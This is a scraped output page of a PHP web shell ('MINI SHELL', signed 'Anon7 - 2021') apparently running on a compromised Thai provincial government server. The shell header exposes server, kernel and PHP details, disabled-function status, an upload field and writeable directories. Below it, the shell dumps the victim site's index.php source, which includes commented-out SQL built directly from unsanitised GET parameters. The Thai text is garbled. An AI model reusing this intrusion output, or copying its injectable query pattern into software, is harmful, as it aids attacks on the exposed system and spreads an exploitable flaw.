MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory :  /home/pathumthani_integration/integration/application/industry/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //home/pathumthani_integration/integration/application/industry/index.php
<? session_start() ; 
header("Content-Type: text/html; charset=windows-874"); 
set_time_limit(0) ; 

//include("../config/config.inc.php");
include_once("../../config/config_epm.inc.php");
include_once("manage_user.inc.php");

function chkDate($dateStart,$dateEnd,$date){
	$dateList = explode("-",$date);
	$yearList=(int)$dateList[0]+543;
	$monList=(int)$dateList[1];
	$dayList=(int)$dateList[2];
	//echo $yearList.':'.$monList.':'.$dayList.'<br>';
	
	$startList = explode("/",$dateStart);
	$yearStart=(int)$startList[2];
	$monStart=(int)$startList[1];
	$dayStart=(int)$startList[0];
	//echo $yearStart.':'.$monStart.':'.$dayStart.'<br>';
	
	$endList = explode("/",$dateEnd);
	$yearEnd=(int)$endList[2];
	$monEnd=(int)$endList[1];
	$dayEnd=(int)$endList[0];
	//echo $yearEnd.':'.$monEnd.':'.$dayEnd.'<br>';
	
	if($yearList >= $yearStart && $yearList <= $yearEnd){
		if($monList >= $monStart && $monList <= $monEnd){
			if($dayList >= $dayStart && $dayList <= $dayEnd){
				return 1;
			}
		}
	}
	return 0;
}
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=tis-620" />
<title><?=$title_name?></title>
<script language="javascript">
function mOvr(src,clrOver){ 
	if (!src.contains(event.fromElement)) src.bgColor = clrOver; 
} 

function mOut(src,clrIn){ 
	if (!src.contains(event.toElement)) src.bgColor = clrIn; 
} 
</script>
<style type="text/css">
<!--
A:link {
	FONT-SIZE: 12px;color: #000000;	FONT-FAMILY: Tahoma,  "Microsoft Sans Serif";TEXT-DECORATION: underline;FONT-WEIGHT: bold;
}
A:visited {
	FONT-SIZE: 12px; COLOR: #000000; FONT-FAMILY: Tahoma,  "Microsoft Sans Serif"; TEXT-DECORATION: underline;FONT-WEIGHT: bold;
}
A:active {
	FONT-SIZE: 12px; COLOR: #014d5f; FONT-FAMILY: Tahoma,  "Microsoft Sans Serif"; TEXT-DECORATION: underline;FONT-WEIGHT: bold;
}
A:hover {
	FONT-SIZE: 12px; COLOR: #f3960b; FONT-FAMILY: Tahoma,  "Microsoft Sans Serif"; TEXT-DECORATION: underline;FONT-WEIGHT: bold;
}
.style1 {color: #FF0000}
.style2 {font-size: 24px}
.h_menu {color:#FF9900}
-->
.bg_th{
  background-image:url(images/horiz-bg.png);
  background-repeat:repeat-x;
  background-color:#305086;
  font-weight:bold;
  color:#FFFFFF;
  text-align:center;
  }
  .bg_th1{
  background-repeat:repeat-x;
  background-color:#305086;
  font-weight:bold;
  color:#FFFFFF;
  text-align:center;
  }
</style>
<script language=JavaScript> 
function Conf(object) {
if (confirm("á¹èã¨ÇèÒ¨Ðź¢éÍÁÙÅ")==true) {
return true;
}
return false;
}

function CheckIsIE() 
{ 
if (navigator.appName.toUpperCase() == 'MICROSOFT INTERNET EXPLORER') { return true;} 
else { return false; } 
} 


function PrintThisPage() 
{ 

if (CheckIsIE() == true) 
{ 
parent.iframe1.focus(); 
parent.iframe1.print(); 
} 
else 
{ 
window.frames['iframe1'].focus(); 
window.frames['iframe1'].print(); 
} 

} 

function clearText(){
	document.getElementById("doc_no").value = "";
	document.getElementById("da_id").value = "";
	document.getElementById("list_name").value = "";
	document.getElementById("division").value = "";
   document.getElementById("date_order").value = "";
   document.getElementById("date_order2").value = "";
 }
</script> 

</head>
<body>
<? 
include("header.php"); 

				/*$strSearch="";
				$strSQL_1 = "SELECT
												da_rotation.runid,
												da_rotation.da_list_runid,
												da_rotation.doc_no,
												da_rotation.list_name,
												da_rotation.da_id,
												da_rotation.division,
												da_rotation.`status`
										FROM da_rotation
										WHERE runid is not null																
								";
				if($_GET['doc_no']){
						$strSQL_1.="		and doc_no LIKE('%".$_GET['doc_no']."%')		";
						$strSearch.="&doc_no=".$_GET['doc_no'];	
				}
				if($_GET['da_id']){
						$strSQL_1.="		and da_id LIKE('%".$_GET['da_id']."%')		";
						$strSearch.="&da_id=".$_GET['da_id'];	
				}
				if($_GET['list_name']){
						$strSQL_1.="		and list_name LIKE('%".$_GET['list_name']."%')		";
						$strSearch.="&list_name=".$_GET['list_name'];	
				}
				if($_GET['division']){
						$strSQL_1.="		and division ='".$_GET['division']."'		";
						$strSearch.="&division=".$_GET['division'];	
				}
				if($_GET['date_order']!='' && $_GET['date_order2']!=''){
						$strSQL_4 = "SELECT doc_date
												FROM da_rotation
												";			
						$rsConn_4 = mysql_db_query($dbname,$strSQL_4);		
						$str_no1='';
						while($Result_4 = mysql_fetch_assoc($rsConn_4)){
						//chkDate($_GET['date_order'],$_GET['date_order2'],$Result_4['receive_date']);
			//			exit();
								if(chkDate($_GET['date_order'],$_GET['date_order2'],$Result_4['doc_date'])==1){
									$str_no1.="'".$Result_4['doc_date']."'".',';
								}
						}
						$str_no1=substr($str_no1,0,strlen($str_no1)-1);
						
						$strSQL_1.="	 and doc_date IN($str_no1)	";				
						
						$strSearch.="&date_order=".$_GET['date_order'];	
						$strSearch.="&date_order2=".$_GET['date_order2'];	
				}
				
				$strSQL_1.="		GROUP BY da_rotation.doc_no	ORDER BY create_datetime DESC	";*/
?>
 &nbsp;&nbsp;<strong style="color:#000033; font-size:18px;"><img src="images/unpublish_f2.png" align="absmiddle"  border="0"/>˹éÒËÅÑ¡</strong>
 <?
 include("exsum.php"); 
 ?>

		
</body>
</html>

Anon7 - 2021